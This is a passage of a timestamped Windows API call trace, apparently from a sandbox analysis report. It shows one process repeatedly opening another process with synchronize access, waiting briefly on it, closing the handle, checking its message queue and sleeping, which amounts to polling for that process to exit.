(dwMilliseconds=0x1) [0248.880] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x744 [0248.883] WaitForSingleObject (hHandle=0x744, dwMilliseconds=0xa) returned 0x102 [0248.901] CloseHandle (hObject=0x744) returned 1 [0248.901] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.901] Sleep (dwMilliseconds=0x1) [0248.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x744 [0248.912] WaitForSingleObject (hHandle=0x744, dwMilliseconds=0xa) returned 0x102 [0248.926] CloseHandle (hObject=0x744) returned 1 [0248.926] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.927] Sleep (dwMilliseconds=0x1) [0248.942] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x744 [0248.942] WaitForSingleObject (hHandle=0x744, dwMilliseconds=0xa) returned 0x102 [0248.958] CloseHandle (hObject=0x744) returned 1 [0248.958] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.958] Sleep (dwMilliseconds=0x1) [0248.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x74c [0248.976] WaitForSingleObject (hHandle=0x74c, dwMilliseconds=0xa) returned 0x102 [0248.989] CloseHandle (hObject=0x74c) returned 1 [0248.989] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0248.989] Sleep (dwMilliseconds=0x1) [0249.005] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x758 [0249.005] WaitForSingleObject (hHandle=0x758, dwMilliseconds=0xa) returned 0x102 [0249.020] CloseHandle (hObject=0x758) returned 1 [0249.020] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.020] Sleep (dwMilliseconds=0x1) [0249.036] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x758 [0249.036] WaitForSingleObject (hHandle=0x758, dwMilliseconds=0xa) returned 0x102 [0249.051] CloseHandle (hObject=0x758) returned 1 [0249.051] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.051] Sleep (dwMilliseconds=0x1) [0249.067] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x758 [0249.067] WaitForSingleObject (hHandle=0x758, dwMilliseconds=0xa) returned 0x102 [0249.083] CloseHandle (hObject=0x758) returned 1 [0249.083] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.083] Sleep (dwMilliseconds=0x1) [0249.098] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x758 [0249.098] WaitForSingleObject (hHandle=0x758, dwMilliseconds=0xa) returned 0x102 [0249.114] CloseHandle (hObject=0x758) returned 1 [0249.114] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.115] Sleep (dwMilliseconds=0x1) [0249.130] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x75c [0249.130] WaitForSingleObject (hHandle=0x75c, dwMilliseconds=0xa) returned 0x102 [0249.146] CloseHandle (hObject=0x75c) returned 1 [0249.146] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.146] Sleep (dwMilliseconds=0x1) [0249.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x75c [0249.161] WaitForSingleObject (hHandle=0x75c, dwMilliseconds=0xa) returned 0x102 [0249.179] CloseHandle (hObject=0x75c) returned 1 [0249.179] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.179] Sleep (dwMilliseconds=0x1) [0249.192] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x75c [0249.192] WaitForSingleObject (hHandle=0x75c, dwMilliseconds=0xa) returned 0x102 [0249.203] CloseHandle (hObject=0x75c) returned 1 [0249.203] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.203] Sleep (dwMilliseconds=0x1) [0249.204] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x75c [0249.204] WaitForSingleObject (hHandle=0x75c, dwMilliseconds=0xa) returned 0x102 [0249.224] CloseHandle (hObject=0x75c) returned 1 [0249.224] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.224] Sleep (dwMilliseconds=0x1) [0249.240] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x75c [0249.240] WaitForSingleObject (hHandle=0x75c, dwMilliseconds=0xa) returned 0x102 [0249.255] CloseHandle (hObject=0x75c) returned 1 [0249.255] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.256] Sleep (dwMilliseconds=0x1) [0249.280] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x75c [0249.280] WaitForSingleObject (hHandle=0x75c, dwMilliseconds=0xa) returned 0x102 [0249.287] CloseHandle (hObject=0x75c) returned 1 [0249.287] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.287] Sleep (dwMilliseconds=0x1) [0249.306] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.306] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.319] CloseHandle (hObject=0x768) returned 1 [0249.319] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.319] Sleep (dwMilliseconds=0x1) [0249.334] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.334] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.349] CloseHandle (hObject=0x768) returned 1 [0249.349] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.349] Sleep (dwMilliseconds=0x1) [0249.365] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.365] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.380] CloseHandle (hObject=0x768) returned 1 [0249.380] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.381] Sleep (dwMilliseconds=0x1) [0249.396] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.396] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.422] CloseHandle (hObject=0x768) returned 1 [0249.422] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.422] Sleep (dwMilliseconds=0x1) [0249.427] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.427] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.443] CloseHandle (hObject=0x768) returned 1 [0249.443] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.443] Sleep (dwMilliseconds=0x1) [0249.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.461] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.474] CloseHandle (hObject=0x768) returned 1 [0249.474] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.474] Sleep (dwMilliseconds=0x1) [0249.490] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.490] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.505] CloseHandle (hObject=0x768) returned 1 [0249.505] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.506] Sleep (dwMilliseconds=0x1) [0249.521] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.521] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.537] CloseHandle (hObject=0x768) returned 1 [0249.537] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.537] Sleep (dwMilliseconds=0x1) [0249.552] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x768 [0249.552] WaitForSingleObject (hHandle=0x768, dwMilliseconds=0xa) returned 0x102 [0249.568] CloseHandle (hObject=0x768) returned 1 [0249.568] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.568] Sleep (dwMilliseconds=0x1) [0249.585] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x778 [0249.585] WaitForSingleObject (hHandle=0x778, dwMilliseconds=0xa) returned 0x102 [0249.600] CloseHandle (hObject=0x778) returned 1 [0249.600] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.600] Sleep (dwMilliseconds=0x1) [0249.615] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x77c [0249.615] WaitForSingleObject (hHandle=0x77c, dwMilliseconds=0xa) returned 0x102 [0249.631] CloseHandle (hObject=0x77c) returned 1 [0249.631] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.631] Sleep (dwMilliseconds=0x1) [0249.648] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x780 [0249.648] WaitForSingleObject (hHandle=0x780, dwMilliseconds=0xa) returned 0x102 [0249.662] CloseHandle (hObject=0x780) returned 1 [0249.662] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.662] Sleep (dwMilliseconds=0x1) [0249.678] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x780 [0249.678] WaitForSingleObject (hHandle=0x780, dwMilliseconds=0xa) returned 0x102 [0249.696] CloseHandle (hObject=0x780) returned 1 [0249.696] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.696] Sleep (dwMilliseconds=0x1) [0249.708] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x780 [0249.708] WaitForSingleObject (hHandle=0x780, dwMilliseconds=0xa) returned 0x102 [0249.725] CloseHandle (hObject=0x780) returned 1 [0249.725] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.725] Sleep (dwMilliseconds=0x1) [0249.741] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x78c [0249.741] WaitForSingleObject (hHandle=0x78c, dwMilliseconds=0xa) returned 0x102 [0249.757] CloseHandle (hObject=0x78c) returned 1 [0249.757] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.757] Sleep (dwMilliseconds=0x1) [0249.771] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x78c [0249.771] WaitForSingleObject (hHandle=0x78c, dwMilliseconds=0xa) returned 0x102 [0249.788] CloseHandle (hObject=0x78c) returned 1 [0249.788] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.788] Sleep (dwMilliseconds=0x1) [0249.802] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x78c [0249.802] WaitForSingleObject (hHandle=0x78c, dwMilliseconds=0xa) returned 0x102 [0249.818] CloseHandle (hObject=0x78c) returned 1 [0249.818] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.818] Sleep (dwMilliseconds=0x1) [0249.834] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x78c [0249.834] WaitForSingleObject (hHandle=0x78c, dwMilliseconds=0xa) returned 0x102 [0249.849] CloseHandle (hObject=0x78c) returned 1 [0249.849] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.849] Sleep (dwMilliseconds=0x1) [0249.866] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x79c [0249.866] WaitForSingleObject (hHandle=0x79c, dwMilliseconds=0xa) returned 0x102 [0249.881] CloseHandle (hObject=0x79c) returned 1 [0249.881] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.881] Sleep (dwMilliseconds=0x1) [0249.907] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7a0 [0249.907] WaitForSingleObject (hHandle=0x7a0, dwMilliseconds=0xa) returned 0x102 [0249.916] CloseHandle (hObject=0x7a0) returned 1 [0249.916] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.916] Sleep (dwMilliseconds=0x1) [0249.928] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7a4 [0249.928] WaitForSingleObject (hHandle=0x7a4, dwMilliseconds=0xa) returned 0x102 [0249.943] CloseHandle (hObject=0x7a4) returned 1 [0249.943] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.943] Sleep (dwMilliseconds=0x1) [0249.959] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7a4 [0249.959] WaitForSingleObject (hHandle=0x7a4, dwMilliseconds=0xa) returned 0x102 [0249.974] CloseHandle (hObject=0x7a4) returned 1 [0249.974] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0249.974] Sleep (dwMilliseconds=0x1) [0249.993] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7a4 [0249.993] WaitForSingleObject (hHandle=0x7a4, dwMilliseconds=0xa) returned 0x102 [0250.015] CloseHandle (hObject=0x7a4) returned 1 [0250.015] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.015] Sleep (dwMilliseconds=0x1) [0250.022] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7b0 [0250.022] WaitForSingleObject (hHandle=0x7b0, dwMilliseconds=0xa) returned 0x102 [0250.043] CloseHandle (hObject=0x7b0) returned 1 [0250.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.043] Sleep (dwMilliseconds=0x1) [0250.053] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7b8 [0250.053] WaitForSingleObject (hHandle=0x7b8, dwMilliseconds=0xa) returned 0x102 [0250.069] CloseHandle (hObject=0x7b8) returned 1 [0250.069] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.069] Sleep (dwMilliseconds=0x1) [0250.084] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7b8 [0250.084] WaitForSingleObject (hHandle=0x7b8, dwMilliseconds=0xa) returned 0x102 [0250.100] CloseHandle (hObject=0x7b8) returned 1 [0250.100] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.100] Sleep (dwMilliseconds=0x1) [0250.115] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7b8 [0250.115] WaitForSingleObject (hHandle=0x7b8, dwMilliseconds=0xa) returned 0x102 [0250.130] CloseHandle (hObject=0x7b8) returned 1 [0250.130] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.130] Sleep (dwMilliseconds=0x1) [0250.156] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7b8 [0250.156] WaitForSingleObject (hHandle=0x7b8, dwMilliseconds=0xa) returned 0x102 [0250.161] CloseHandle (hObject=0x7b8) returned 1 [0250.162] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.162] Sleep (dwMilliseconds=0x1) [0250.177] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.177] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.193] CloseHandle (hObject=0x7c0) returned 1 [0250.193] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.193] Sleep (dwMilliseconds=0x1) [0250.209] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.209] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.224] CloseHandle (hObject=0x7c0) returned 1 [0250.224] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.224] Sleep (dwMilliseconds=0x1) [0250.240] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.240] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.260] CloseHandle (hObject=0x7c0) returned 1 [0250.260] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.260] Sleep (dwMilliseconds=0x1) [0250.271] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.271] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.287] CloseHandle (hObject=0x7c0) returned 1 [0250.287] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.287] Sleep (dwMilliseconds=0x1) [0250.302] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.302] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.318] CloseHandle (hObject=0x7c0) returned 1 [0250.318] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.318] Sleep (dwMilliseconds=0x1) [0250.334] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.334] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.349] CloseHandle (hObject=0x7c0) returned 1 [0250.349] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.349] Sleep (dwMilliseconds=0x1) [0250.365] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.365] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.380] CloseHandle (hObject=0x7c0) returned 1 [0250.380] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.380] Sleep (dwMilliseconds=0x1) [0250.396] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.396] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.428] CloseHandle (hObject=0x7c0) returned 1 [0250.428] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.428] Sleep (dwMilliseconds=0x1) [0250.443] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.443] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.463] CloseHandle (hObject=0x7c0) returned 1 [0250.463] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.463] Sleep (dwMilliseconds=0x1) [0250.475] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7c0 [0250.475] WaitForSingleObject (hHandle=0x7c0, dwMilliseconds=0xa) returned 0x102 [0250.490] CloseHandle (hObject=0x7c0) returned 1 [0250.490] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.490] Sleep (dwMilliseconds=0x1) [0250.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7dc [0250.512] WaitForSingleObject (hHandle=0x7dc, dwMilliseconds=0xa) returned 0x102 [0250.521] CloseHandle (hObject=0x7dc) returned 1 [0250.521] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.521] Sleep (dwMilliseconds=0x1) [0250.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7e0 [0250.537] WaitForSingleObject (hHandle=0x7e0, dwMilliseconds=0xa) returned 0x102 [0250.552] CloseHandle (hObject=0x7e0) returned 1 [0250.552] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.552] Sleep (dwMilliseconds=0x1) [0250.568] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7e0 [0250.568] WaitForSingleObject (hHandle=0x7e0, dwMilliseconds=0xa) returned 0x102 [0250.584] CloseHandle (hObject=0x7e0) returned 1 [0250.584] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.584] Sleep (dwMilliseconds=0x1) [0250.599] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7e0 [0250.599] WaitForSingleObject (hHandle=0x7e0, dwMilliseconds=0xa) returned 0x102 [0250.615] CloseHandle (hObject=0x7e0) returned 1 [0250.615] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.615] Sleep (dwMilliseconds=0x1) [0250.631] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7e0 [0250.631] WaitForSingleObject (hHandle=0x7e0, dwMilliseconds=0xa) returned 0x102 [0250.646] CloseHandle (hObject=0x7e0) returned 1 [0250.646] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.646] Sleep (dwMilliseconds=0x1) [0250.663] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7e4 [0250.663] WaitForSingleObject (hHandle=0x7e4, dwMilliseconds=0xa) returned 0x102 [0250.680] CloseHandle (hObject=0x7e4) returned 1 [0250.680] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0250.680] Sleep (dwMilliseconds=0x1) [0250.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x7e4 [0250.693] WaitForSingleObject (hHandle=0x7e4, dwMilliseconds=0xa) returned 0x102 [0250.710] CloseHandle (hObject=0x7e4) returned 1 